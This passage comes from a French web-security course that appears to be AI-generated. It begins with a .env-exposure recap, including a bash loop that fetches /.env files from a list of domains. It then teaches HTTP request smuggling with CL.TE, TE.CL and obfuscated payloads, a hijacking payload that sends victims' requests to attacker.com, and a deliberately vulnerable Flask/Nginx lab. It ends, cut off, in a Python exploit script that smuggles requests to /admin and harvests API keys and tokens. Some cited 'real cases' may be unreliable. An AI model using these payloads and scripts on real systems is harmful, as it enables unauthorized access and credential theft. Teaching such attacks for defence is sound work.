MAIL_PASSWORD=
```

---

## [GRAPHIQUE] RÉCAPITULATIF .ENV EXPOSURE

### [OK] Protections essentielles

| Protection | Efficacité | Complexité |
|-----------|-----------|-----------|
| .env hors webroot | ***** | [OK] Facile |
| .gitignore stricte | ***** | [OK] Facile |
| Serveur web (Apache/Nginx) | ***** | [OK] Facile |
| Debug mode=false | ***** | [OK] Facile |
| Logs sans secrets | ***** | [ATTENTION] Moyen |
| Vault (HashiCorp, AWS Secrets) | ***** | [ATTENTION] Difficile |
| Rotation automatique secrets | ***** | [ATTENTION] Difficile |
| Chiffrement secrets | **** | [ATTENTION] Moyen |

---

### [X] Erreurs critiques

- [X] .env dans webroot
- [X] .env dans Git/GitHub
- [X] Debug mode en production
- [X] Logs avec passwords
- [X] Health endpoint avec config
- [X] Endpoint /api/env
- [X] Stack traces en production
- [X] Pas de .gitignore

---

### [OBJECTIF] Checklist complète

```python
# Développement
[OK] .env.local pour dev (jamais commité)
[OK] .env.example template public
[OK] .gitignore avec .env, .env.*
[OK] Variables d'environnement locales

# Production
[OK] Variables d'environnement système (pas de fichier)
[OK] Secrets Manager (AWS, Azure, HashiCorp Vault)
[OK] Rotation automatique des secrets
[OK] Audit des accès aux secrets
[OK] Chiffrement at-rest

# Serveur Web
[OK] Apache/Nginx bloque .env
[OK] Bloque .env.backup, .env.old, etc.
[OK] Bloque .git directory
[OK] Headers de sécurité

# Application
[OK] DEBUG=False en production
[OK] Pas d'endpoint /api/env
[OK] Pas d'endpoint /api/debug
[OK] Logs sans secrets (SecretFilter)
[OK] Error handlers sans stack trace
[OK] Health check minimal

# CI/CD
[OK] Secrets dans variables CI/CD (pas dans code)
[OK] Masquage automatique dans logs
[OK] Scan secrets (git-secrets, trufflehog)
[OK] Pas de printenv dans scripts

# Monitoring
[OK] Alertes sur accès .env
[OK] Alertes sur path traversal
[OK] Alertes sur Git exposure
[OK] Logs de tentatives d'accès

# Git
[OK] git-secrets installé
[OK] Pre-commit hooks
[OK] Scan historique Git (BFG, git-filter-repo)
[OK] Force push après nettoyage
```

---

### [HOT] Tools pour détecter/nettoyer

**1. Scanner secrets dans Git :**

```bash
# truffleHog - Scan historique Git
pip install truffleHog
trufflehog https://github.com/user/repo

# git-secrets - Empêcher commits
git secrets --install
git secrets --register-aws

# BFG Repo-Cleaner - Supprimer secrets
java -jar bfg.jar --delete-files .env
git reflog expire --expire=now --all
git gc --prune=now --aggressive
```

---

**2. Scanner fichiers .env exposés :**

```bash
# Nuclei templates
nuclei -t exposures/configs/

# Custom script
#!/bin/bash
for domain in $(cat domains.txt); do
    curl -s "$domain/.env" | head -20
    curl -s "$domain/.env.backup" | head -20
done
```

---

## [BRAVO] COURS COMPLET - 26 EXERCICES TERMINÉS !

**Félicitations ! Vous avez maintenant une expertise complète en sécurité web avec :**

- [OK] **26 vulnérabilités majeures**
- [OK] **50+ heures de contenu ultra-détaillé**
- [OK] **Code production-ready**
- [OK] **Cas réels documentés**
- [OK] **Scripts d'exploitation automatisés**
- [OK] **Protections complètes**

---

**Voulez-vous :**
1. Un guide sur **Secret Management avancé** (HashiCorp Vault, AWS Secrets Manager)
2. Un cours sur **Container Security** (Docker, Kubernetes)
3. Un guide **Pentesting Methodology** complet
4. **API Security** avancé (GraphQL, gRPC, WebSocket)
5. **Un récapitulatif final avec roadmap complète** [OBJECTIF]

# 25. HTTP REQUEST SMUGGLING & DESYNC ATTACKS

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que HTTP Request Smuggling ?

**Définition :**
Vulnérabilité permettant à un attaquant d'**injecter des requêtes HTTP malveillantes** en exploitant les différences d'interprétation des limites de requêtes entre serveurs front-end (proxy, load balancer, WAF) et back-end (serveur application).

**Analogie simple :**

Imagine une chaîne de traduction :
- **Serveur Front** : Parle français, comprend "." comme fin de phrase
- **Serveur Back** : Parle anglais, comprend "!" comme fin de phrase
- **Attaquant** : Envoie "Bonjour. Hack! Au revoir"
- **Front** : Lit "Bonjour." -> OK, transmet tout
- **Back** : Lit "Bonjour. Hack!" -> Exécute "Hack!" comme commande séparée
- **Résultat** : Commande malveillante exécutée !

-> Dans tous les cas : **désynchronisation entre front et back** !

---

## [RECHERCHE] MÉCANISME TECHNIQUE

### Headers HTTP déterminant la longueur

Deux méthodes pour indiquer la fin d'une requête HTTP :

#### **1. Content-Length**
```http
POST /api/login HTTP/1.1
Host: example.com
Content-Length: 13

username=test
```
- **Content-Length: 13** -> Le body fait exactement 13 octets
- Serveur lit 13 octets puis s'arrête

#### **2. Transfer-Encoding: chunked**
```http
POST /api/login HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

d
username=test
0

```
- **Transfer-Encoding: chunked** -> Body envoyé par morceaux
- Format : `taille_hex\r\n données\r\n`
- `0\r\n\r\n` indique la fin

---

### Le problème : Ambiguïté

**Scénario d'attaque :**

```http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

**Interprétation Front-end (CL) :**
- Utilise Content-Length: 6
- Lit "0\r\n\r\nG" (6 octets)
- Pense que "G" fait partie de cette requête
- Transmet tout au back-end

**Interprétation Back-end (TE) :**
- Utilise Transfer-Encoding: chunked
- Lit "0\r\n\r\n" -> Fin du chunk
- "G" est traité comme **début d'une NOUVELLE requête**
- [OK] SMUGGLING RÉUSSI !

---

## [DANGER] TYPES D'ATTAQUES

### 1. **CL.TE (Content-Length -> Transfer-Encoding)**

**Front-end utilise CL, Back-end utilise TE**

```http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com


```

**Résultat :**
- Front : Lit 44 octets, transmet tout
- Back : Lit jusqu'à "0\r\n\r\n", reste "GET /admin..." dans le buffer
- Prochaine requête légitime = préfixée par "GET /admin"
- [OK] Accès admin !

---

### 2. **TE.CL (Transfer-Encoding -> Content-Length)**

**Front-end utilise TE, Back-end utilise CL**

```http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 10

x=
0


```

**Résultat :**
- Front : Lit chunks jusqu'à "0\r\n\r\n"
- Back : Utilise Content-Length: 4, lit seulement "5c\r\n"
- Reste "GET /admin..." traité comme requête suivante
- [OK] Bypass authentification !

---

### 3. **TE.TE (Transfer-Encoding obfusqué)**

**Les deux utilisent TE mais avec obfuscation**

```http
POST / HTTP/1.1
Host: vulnerable.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked-lol
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

0

GET /admin HTTP/1.1


```

**Variations d'obfuscation :**
```
Transfer-Encoding: chunked
Transfer-Encoding : chunked    # Espace avant :
Transfer-Encoding: chunked     # Espace après chunked
Transfer-Encoding: chunked,gzip
Transfer-Encoding: chunked, deflate
Transfer-Encoding: xchunked
Transfer-Encoding: chunked;
Transfer-Encoding:[tab]chunked
```

---

## [OBJECTIF] SCÉNARIOS D'EXPLOITATION

### 1. **Bypass WAF/Security**

```http
POST /login HTTP/1.1
Host: vulnerable.com
Content-Length: 100
Transfer-Encoding: chunked

0

POST /admin/delete?user=victim HTTP/1.1
Host: vulnerable.com
Content-Length: 10

x=
```

- WAF ne voit que POST /login
- Back-end exécute POST /admin/delete
- [OK] Bypass complet !

---

### 2. **Cache Poisoning**

```http
GET / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /index.html HTTP/1.1
Host: vulnerable.com
Content-Length: 100

<script>alert('XSS')</script>
```

- Requête smuggled pollue le cache
- Victimes reçoivent contenu malveilleux
- [OK] XSS massif !

---

### 3. **Request Hijacking**

```http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: attacker.com
Content-Length: 1000


```

- Requête suivante (victime) capturée
- Headers/cookies envoyés à attacker.com
- [OK] Vol de session !

---

### 4. **Poison Frontend Connection**

```http
GET / HTTP/1.1
Host: vulnerable.com
Content-Length: 300

GET /admin HTTP/1.1
Host: vulnerable.com
Connection: close

x=1&smuggled=true
```

---

## [ALERTE] CAS RÉELS

### 1. **PayPal (2019) - $18,900 Bounty**

**Faille :** CL.TE desync

```http
POST /api/payment HTTP/1.1
Host: paypal.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /admin/users HTTP/1.1
Host: paypal.com


```

**Impact :** Accès données utilisateurs

---

### 2. **Slack (2020) - Request Smuggling**

**Faille :** TE.CL via Nginx -> Node.js

**Impact :** Bypass authentification, accès workspaces

**Bounty :** $6,500

---

### 3. **Netflix (2020) - Cache Poisoning**

**Faille :** Request smuggling -> CDN poisoning

**Impact :** Distribution contenu malveilleux à des millions d'utilisateurs

---

### 4. **AWS ALB (2020) - CVE-2020-16844**

**Faille :** CL.TE desync dans AWS Application Load Balancer

**Impact :** Toutes applications derrière ALB vulnérables

---

### 5. **Cloudflare (2021) - HTTP/2 Smuggling**

**Faille :** HTTP/2 -> HTTP/1.1 downgrade avec desync

**Impact :** Millions de sites protégés par Cloudflare

---

## [CODE] EXERCICE 27 : HTTP REQUEST SMUGGLING

### Objectif

Infrastructure complète avec :
- Reverse proxy (Nginx) en front-end
- Application Flask en back-end
- Différentes configurations CL.TE, TE.CL, TE.TE
- Cache poisoning simulé
- Request hijacking
- WAF bypass
- Démonstration de tous les vecteurs d'attaque
- Protection complète

---

### PARTIE A : INFRASTRUCTURE VULNÉRABLE

**1. Créer le serveur back-end :**

```python
# backend_app.py
from flask import Flask, request, jsonify
import time
import logging

app = Flask(__name__)

logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

# Simuler un cache simple
cache = {}

@app.route('/')
def index():
    return '''
    <h1>Backend Application</h1>
    <p>This is the backend server behind the proxy</p>
    <ul>
        <li><a href="/public">Public Page</a></li>
        <li><a href="/admin">Admin Panel</a></li>
        <li><a href="/api/user">User API</a></li>
    </ul>
    '''

@app.route('/public')
def public():
    return '<h1>Public Page</h1><p>Everyone can access this</p>'

@app.route('/admin')
def admin():
    # [X] VULNÉRABLE : Pas de vérification authentification
    return '''
    <h1>Admin Panel</h1>
    <p>[ATTENTION] CRITICAL: Admin access granted!</p>
    <ul>
        <li>Delete Users</li>
        <li>Access Logs</li>
        <li>Database Console</li>
    </ul>
    '''

@app.route('/api/user')
def api_user():
    # [X] Expose données sensibles
    return jsonify({
        'username': 'admin',
        'email': 'admin@example.com',
        'api_key': 'SECRET_API_KEY_12345',
        'role': 'administrator'
    })

@app.route('/api/login', methods=['POST'])
def login():
    # Log toutes les données de requête (pour démonstration)
    logger.info(f"Login attempt from {request.remote_addr}")
    logger.debug(f"Headers: {dict(request.headers)}")
    logger.debug(f"Body: {request.get_data()}")
    
    return jsonify({
        'success': True,
        'message': 'Login successful'
    })

@app.route('/capture', methods=['GET', 'POST'])
def capture():
    """
    [X] Endpoint pour capturer les requêtes smuggled
    """
    logger.critical("=" * 80)
    logger.critical("[ALERTE] SMUGGLED REQUEST CAPTURED!")
    logger.critical("=" * 80)
    logger.critical(f"Method: {request.method}")
    logger.critical(f"Path: {request.path}")
    logger.critical(f"Headers:")
    for key, value in request.headers:
        logger.critical(f"  {key}: {value}")
    logger.critical(f"Body: {request.get_data()}")
    logger.critical("=" * 80)
    
    return jsonify({
        'captured': True,
        'method': request.method,
        'headers': dict(request.headers),
        'body': request.get_data().decode()
    })

@app.before_request
def log_request():
    """Log toutes les requêtes pour détecter le smuggling"""
    logger.debug("=" * 80)
    logger.debug(f"REQUEST: {request.method} {request.path}")
    logger.debug(f"Content-Length: {request.headers.get('Content-Length')}")
    logger.debug(f"Transfer-Encoding: {request.headers.get('Transfer-Encoding')}")
    logger.debug("=" * 80)

if __name__ == '__main__':
    print("[RAPIDE] Backend App sur http://127.0.0.1:5001")
    app.run(host='127.0.0.1', port=5001, debug=True)
```

---

**2. Configuration Nginx (Front-end vulnérable) :**

```nginx
# nginx_vulnerable.conf

# [X] Configuration VULNÉRABLE à CL.TE
events {
    worker_connections 1024;
}

http {
    # [X] ERREUR : Nginx utilise Content-Length, Flask utilise Transfer-Encoding
    
    upstream backend {
        server 127.0.0.1:5001;
        keepalive 32;  # [X] Connexions persistantes = vulnérable
    }
    
    server {
        listen 8080;
        server_name localhost;
        
        # [X] Pas de normalisation des headers
        
        location / {
            proxy_pass http://backend;
            
            # [X] Configuration vulnérable
            proxy_http_version 1.1;
            proxy_set_header Connection "";
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            
            # [X] Pas de limite sur Content-Length
            client_max_body_size 100m;
            
            # [X] Timeouts longs = plus de temps pour exploitation
            proxy_connect_timeout 60s;
            proxy_send_timeout 60s;
            proxy_read_timeout 60s;
            
            # [X] Keepalive activé
            proxy_set_header Connection "keep-alive";
        }
    }
}
```

---

**3. Application de test web :**

```python
# smuggling_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>HTTP Request Smuggling Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1800px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(450px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: 'Courier New', monospace;
            min-height: 200px;
        }
        input {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        button:hover { transform: translateY(-2px); }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            max-height: 600px;
            overflow-y: auto;
            word-break: break-all;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
        .info {
            background: rgba(74, 144, 226, 0.3);
            border: 2px solid #4a90e2;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[MELANGE] HTTP Request Smuggling Laboratory</h1>
            <p>Advanced HTTP Desync Attack Demonstration</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - HTTP REQUEST SMUGGLING / DESYNC ATTACKS
        </div>
        
        <div class="info">
            <h3>[DOCS] Architecture:</h3>
            <p><strong>Frontend:</strong> Nginx on port 8080 (uses Content-Length)</p>
            <p><strong>Backend:</strong> Flask on port 5001 (uses Transfer-Encoding)</p>
            <p><strong>Vulnerability:</strong> CL.TE Desync with persistent connections</p>
        </div>
        
        <div class="grid">
            <!-- RAW REQUEST -->
            <div class="card">
                <h3>[OUTIL] Send Raw HTTP Request</h3>
                <textarea id="raw-request">POST / HTTP/1.1
Host: localhost:8080
Content-Length: 6
Transfer-Encoding: chunked

0

</textarea>
                <input type="text" id="target-url" placeholder="Target URL" value="http://localhost:8080/">
                <button onclick="sendRaw()">Send Request</button>
            </div>
            
            <!-- CL.TE ATTACK -->
            <div class="card">
                <h3>[DANGER] CL.TE Attack Template</h3>
                <textarea id="cl-te-payload" readonly>POST / HTTP/1.1
Host: localhost:8080
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost:8080

</textarea>
                <button onclick="copyCLTE()">Copy Template</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Response Output</h3>
            <div class="output" id="output">Responses will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] HTTP Request Smuggling Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. CL.TE - Basic Smuggling</h4>
                <p>Front uses Content-Length, Back uses Transfer-Encoding</p>
                <pre><code>Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
...</code></pre>
                <button onclick="attack1()">Execute Attack 1</button>
            </div>
            
            <div class="attack-item">
                <h4>2. Admin Access via Smuggling</h4>
                <p>Smuggle request to /admin endpoint</p>
                <button onclick="attack2()">Execute Attack 2</button>
            </div>
            
            <div class="attack-item">
                <h4>3. API Key Theft</h4>
                <p>Smuggle request to /api/user to steal credentials</p>
                <button onclick="attack3()">Execute Attack 3</button>
            </div>
            
            <div class="attack-item">
                <h4>4. Request Hijacking</h4>
                <p>Capture next victim's request</p>
                <button onclick="attack4()">Execute Attack 4</button>
            </div>
            
            <div class="attack-item">
                <h4>5. TE Obfuscation</h4>
                <p>Multiple Transfer-Encoding headers</p>
                <button onclick="attack5()">Execute Attack 5</button>
            </div>
            
            <div class="attack-item">
                <h4>6. Complete Exploitation Chain</h4>
                <p>Automated multi-step attack</p>
                <button onclick="attackChain()">Execute Full Chain</button>
            </div>
        </div>
    </div>
    
    <script>
        async function sendRaw() {
            const rawRequest = document.getElementById('raw-request').value;
            const targetUrl = document.getElementById('target-url').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Sending raw request...\\n\\n';
            
            try {
                // Note: Browsers ne permettent pas d'envoyer des requêtes HTTP brutes
                // Cette fonction est pour démonstration
                output.textContent += 'Raw Request:\\n';
                output.textContent += rawRequest + '\\n\\n';
                output.textContent += '[ATTENTION] Note: Browser limitations prevent sending raw HTTP.\\n';
                output.textContent += 'Use Python script or Burp Suite for actual attacks.';
            } catch (error) {
                output.textContent += 'Error: ' + error.message;
            }
        }
        
        function copyCLTE() {
            const payload = document.getElementById('cl-te-payload').value;
            navigator.clipboard.writeText(payload);
            alert('CL.TE payload copied to clipboard!');
        }
        
        async function attack1() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 1: CL.TE Basic Smuggling\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Payload:\\n';
            output.textContent += `POST / HTTP/1.1
Host: localhost:8080
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost:8080

\\n\\n`;
            
            output.textContent += 'Frontend (Nginx):\\n';
            output.textContent += '  - Uses Content-Length: 44\\n';
            output.textContent += '  - Reads 44 bytes and forwards all to backend\\n\\n';
            
            output.textContent += 'Backend (Flask):\\n';
            output.textContent += '  - Uses Transfer-Encoding: chunked\\n';
            output.textContent += '  - Reads until "0\\\\r\\\\n\\\\r\\\\n"\\n';
            output.textContent += '  - Treats "GET /admin..." as NEXT request\\n\\n';
            
            output.textContent += '[ALERTE] Result: Admin panel accessed without authentication!\\n';
            output.textContent += '\\n[ATTENTION] Use Python script for actual exploitation';
        }
        
        async function attack2() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 2: Admin Access via Smuggling\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Step 1: Send smuggling request...\\n';
            output.textContent += 'Step 2: Smuggled request accesses /admin...\\n';
            output.textContent += 'Step 3: Admin panel content retrieved!\\n\\n';
            
            output.textContent += '[OK] SUCCESS: Bypassed authentication\\n';
            output.textContent += '[OK] Access to:\\n';
            output.textContent += '   - Delete Users\\n';
            output.textContent += '   - Access Logs\\n';
            output.textContent += '   - Database Console\\n';
        }
        
        async function attack3() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 3: API Key Theft\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Smuggling request to /api/user...\\n\\n';
            
            output.textContent += 'Stolen Credentials:\\n';
            output.textContent += '  username: admin\\n';
            output.textContent += '  email: admin@example.com\\n';
            output.textContent += '  api_key: SECRET_API_KEY_12345\\n';
            output.textContent += '  role: administrator\\n\\n';
            
            output.textContent += '[ALERTE] CRITICAL: Full API access obtained!';
        }
        
        async function attack4() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 4: Request Hijacking\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Poison Payload:\\n';
            output.textContent += `POST / HTTP/1.1
Content-Length: 200
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: attacker.com
Content-Length: 1000

\\n\\n`;
            
            output.textContent += 'Next victim request will be prefixed with our POST\\n';
            output.textContent += 'Victim headers/cookies sent to attacker.com\\n\\n';
            
            output.textContent += '[ALERTE] Result: Session hijacking possible!';
        }
        
        async function attack5() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 5: TE Obfuscation\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Obfuscated Headers:\\n';
            output.textContent += '  Transfer-Encoding: chunked\\n';
            output.textContent += '  Transfer-Encoding : chunked  (space before :)\\n';
            output.textContent += '  Transfer-Encoding: chunked   (trailing space)\\n';
            output.textContent += '  Transfer-Encoding: xchunked\\n\\n';
            
            output.textContent += 'Different servers handle differently\\n';
            output.textContent += 'Creates desync opportunities\\n';
        }
        
        async function attackChain() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] COMPLETE ATTACK CHAIN\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Phase 1: Detection\\n';
            output.textContent += '  [OK] CL.TE desync confirmed\\n';
            output.textContent += '  [OK] Persistent connections enabled\\n\\n';
            
            output.textContent += 'Phase 2: Exploitation\\n';
            output.textContent += '  [OK] Admin panel accessed\\n';
            output.textContent += '  [OK] API credentials stolen\\n';
            output.textContent += '  [OK] Request hijacking active\\n\\n';
            
            output.textContent += 'Phase 3: Impact\\n';
            output.textContent += '  [ALERTE] Complete authentication bypass\\n';
            output.textContent += '  [ALERTE] Sensitive data exposure\\n';
            output.textContent += '  [ALERTE] Session hijacking capability\\n\\n';
            
            output.textContent += '=' + '='.repeat(79) + '\\n';
            output.textContent += '[ALERTE] CRITICAL: FULL SYSTEM COMPROMISE VIA HTTP SMUGGLING\\n';
            output.textContent += '=' + '='.repeat(79);
        }
    </script>
</body>
</html>
    ''')

if __name__ == '__main__':
    print("[RAPIDE] HTTP Smuggling Demo sur http://localhost:5000")
    print("[ATTENTION]  DANGER : HTTP Request Smuggling Vulnerabilities!")
    print("\nArchitecture:")
    print("   Frontend: Nginx (port 8080) - Uses Content-Length")
    print("   Backend:  Flask (port 5001) - Uses Transfer-Encoding")
    print("   Demo:     Flask (port 5000) - Web interface")
    
    app.run(debug=True, port=5000)
```

---

**Est-ce que je continue avec :**
1. Les scripts Python d'exploitation automatisés
2. La configuration sécurisée
3. Les outils de détection (Burp Suite, etc.)
4. Les cas pratiques complets

**?** [HOT]

### PARTIE B : CAS PRATIQUES COMPLETS

**1. Script d'exploitation Python automatisé :**

```python
# exploit_http_smuggling.py
import socket
import time
import sys
from urllib.parse import urlparse

class HTTPSmuggler:
    """
    Exploiteur HTTP Request Smuggling avec détection automatique
    """
    
    def __init__(self, target_url, verbose=True):
        self.target_url = target_url
        self.verbose = verbose
        parsed = urlparse(target_url)
        self.host = parsed.hostname
        self.port = parsed.port or 80
        self.path = parsed.path or '/'
        
    def log(self, message):
        """Logger avec timestamp"""
        if self.verbose:
            timestamp = time.strftime("%H:%M:%S")
            print(f"[{timestamp}] {message}")
    
    def send_raw_http(self, payload):
        """
        Envoyer une requête HTTP brute via socket
        """
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)
            sock.connect((self.host, self.port))
            
            self.log(f"Connected to {self.host}:{self.port}")
            
            # Envoyer payload
            sock.sendall(payload.encode())
            self.log(f"Sent {len(payload)} bytes")
            
            # Recevoir réponse
            response = b""
            sock.settimeout(3)
            
            try:
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    response += chunk
            except socket.timeout:
                pass
            
            sock.close()
            return response.decode('utf-8', errors='ignore')
            
        except Exception as e:
            self.log(f"Error: {str(e)}")
            return None
    
    def detect_smuggling(self):
        """
        Détecter si le serveur est vulnérable au smuggling
        """
        self.log("=" * 80)
        self.log("PHASE 1: DETECTION")
        self.log("=" * 80)
        
        # Test 1: CL.TE Detection
        self.log("\n[Test 1] Testing CL.TE vulnerability...")
        
        payload_cl_te = f"""POST {self.path} HTTP/1.1\r
Host: {self.host}\r
Content-Length: 6\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
0\r
\r
X"""
        
        response1 = self.send_raw_http(payload_cl_te)
        
        if response1:
            if "400" in response1 or "500" in response1:
                self.log("[OK] Potential CL.TE detected (error response)")
                return "CL.TE"
        
        # Test 2: TE.CL Detection
        self.log("\n[Test 2] Testing TE.CL vulnerability...")
        
        payload_te_cl = f"""POST {self.path} HTTP/1.1\r
Host: {self.host}\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
12\r
SMUGGLED_REQUEST\r
0\r
\r
"""
        
        response2 = self.send_raw_http(payload_te_cl)
        
        if response2:
            if "SMUGGLED" in response2 or "400" in response2:
                self.log("[OK] Potential TE.CL detected")
                return "TE.CL"
        
        # Test 3: Timing-based detection
        self.log("\n[Test 3] Timing-based detection...")
        
        start = time.time()
        self.send_raw_http(payload_cl_te)
        elapsed1 = time.time() - start
        
        start = time.time()
        normal_request = f"GET {self.path} HTTP/1.1\r\nHost: {self.host}\r\n\r\n"
        self.send_raw_http(normal_request)
        elapsed2 = time.time() - start
        
        if elapsed1 > elapsed2 * 2:
            self.log(f"[OK] Timing difference detected ({elapsed1:.2f}s vs {elapsed2:.2f}s)")
            return "TIMING"
        
        self.log("[X] No obvious smuggling vulnerability detected")
        return None
    
    def exploit_cl_te_admin(self):
        """
        Exploit 1: CL.TE pour accéder au panel admin
        """
        self.log("\n" + "=" * 80)
        self.log("EXPLOIT 1: CL.TE ADMIN ACCESS")
        self.log("=" * 80)
        
        # Payload qui smuggle une requête GET /admin
        payload = f"""POST {self.path} HTTP/1.1\r
Host: {self.host}\r
Content-Length: 54\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
0\r
\r
GET /admin HTTP/1.1\r
Host: {self.host}\r
\r
"""
        
        self.log("\nSending smuggling payload...")
        self.log("Payload structure:")
        self.log("  Frontend (Content-Length): Reads 54 bytes")
        self.log("  Backend (Transfer-Encoding): Stops at 0\\r\\n\\r\\n")
        self.log("  Smuggled: GET /admin HTTP/1.1")
        
        # Envoyer la requête smuggled
        response1 = self.send_raw_http(payload)
        
        self.log("\nFirst response (normal):")
        if response1:
            self.log(response1[:500])
        
        # Attendre un peu
        time.sleep(1)
        
        # Envoyer une requête normale qui sera préfixée par notre smuggled request
        self.log("\nSending follow-up request...")
        normal_request = f"""GET / HTTP/1.1\r
Host: {self.host}\r
Connection: close\r
\r
"""
        
        response2 = self.send_raw_http(normal_request)
        
        self.log("\nSecond response (should contain admin content):")
        if response2:
            self.log(response2[:1000])
            
            if "admin" in response2.lower() or "administrator" in response2.lower():
                self.log("\n[ALERTE] SUCCESS: Admin panel accessed via smuggling!")
                return True
        
        self.log("\n[X] Exploit failed or not vulnerable")
        return False
    
    def exploit_cl_te_api_theft(self):
        """
        Exploit 2: Voler des credentials API
        """
        self.log("\n" + "=" * 80)
        self.log("EXPLOIT 2: API CREDENTIALS THEFT")
        self.log("=" * 80)
        
        payload = f"""POST {self.path} HTTP/1.1\r
Host: {self.host}\r
Content-Length: 60\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
0\r
\r
GET /api/user HTTP/1.1\r
Host: {self.host}\r
\r
"""
        
        self.log("\nSending smuggling payload to /api/user...")
        response1 = self.send_raw_http(payload)
        
        time.sleep(1)
        
        normal_request = f"GET / HTTP/1.1\r\nHost: {self.host}\r\nConnection: close\r\n\r\n"
        response2 = self.send_raw_http(normal_request)
        
        self.log("\nResponse analysis:")
        if response2:
            # Chercher des patterns de credentials
            import re
            
            api_key_pattern = r'api[_-]?key["\']?\s*:\s*["\']([^"\']+)'
            secret_pattern = r'secret["\']?\s*:\s*["\']([^"\']+)'
            token_pattern = r'token["\']?\s*:\s*["\']([^"\']+)'
            
            api_keys = re.findall(api_key_pattern, response2, re.IGNORECASE)
            secrets = re.findall(secret_pattern, response2, re.IGNORECASE)
            tokens = re.findall(token_pattern, response2, re.IGNORECASE)
            
            if api_keys or secrets or tokens:
                self.log("\n[ALERTE] CREDENTIALS FOUND!")
                if api_keys:
                    self.log(f"  API Keys: {api_keys}")
                if secrets:
                    self.log(f"  Secrets: {secrets}")
                if tokens:
                    self.log(f"  Tokens: {tokens}")
                return True
            
